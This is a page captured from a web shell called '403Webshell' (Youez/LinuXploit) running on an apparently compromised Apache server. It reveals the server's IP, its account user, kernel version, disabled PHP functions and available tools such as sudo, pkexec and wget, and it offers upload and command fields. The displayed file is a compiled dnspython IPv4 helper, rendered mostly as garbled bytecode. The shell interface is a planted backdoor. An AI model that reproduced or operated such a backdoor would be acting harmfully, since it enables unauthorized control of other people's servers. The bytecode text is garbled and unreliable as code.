403Webshell
Server IP : 68.178.164.50  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : rathinambschool ( 1053)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dns/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dns/__pycache__/ipv4.cpython-39.opt-1.pyc
a

�M�e�	�@sddZddlZddlmZddlZeed�dd�Zeeefed�dd	�Z	eeefed�d
d�Z
dS)zIPv4 helper functions.�N)�Union)�address�returncCs4t|�dkrtjj�d|d|d|d|dfS)z�Convert an IPv4 address in binary form to text form.

    *address*, a ``bytes``, the IPv4 address in binary form.

    Returns a ``str``.
    �z%u.%u.%u.%ur���)�len�dns�	exception�SyntaxError)r�r
�,/usr/lib/python3.9/site-packages/dns/ipv4.py�	inet_ntoasr)�textrcCs�t|t�s|��}n|}|�d�}t|�dkr6tjj�|D]8}|��sNtjj�t|�dkr:|dt	d�kr:tjj�q:z"dd�|D�}t
jdg|�R�WSty�tjj�Yn0d	S)
z�Convert an IPv4 address in text form to binary form.

    *text*, a ``str`` or ``bytes``, the IPv4 address in textual form.

    Returns a ``bytes``.
    �.rrr�0cSsg|]}t|��qSr
)�int)�.0�partr
r
r�
<listcomp>=�zinet_aton.<locals>.<listcomp>ZBBBBN)
�
isinstance�bytes�encode�splitr	r
rr�isdigit�ord�struct�pack�	Exception)rZbtext�partsr�br
r
r�	inet_aton's 



r#cCstj�tj�|��S)z�Verify that *address* is a valid text form IPv4 address and return its
    canonical text form.

    *text*, a ``str`` or ``bytes``, the IPv4 address in textual form.

    Raises ``dns.exception.SyntaxError`` if the text is not valid.
    )r
Zipv4rr#)rr
r
r�canonicalizeCs
r$)�__doc__r�typingrZ
dns.exceptionr
r�strrr#r$r
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit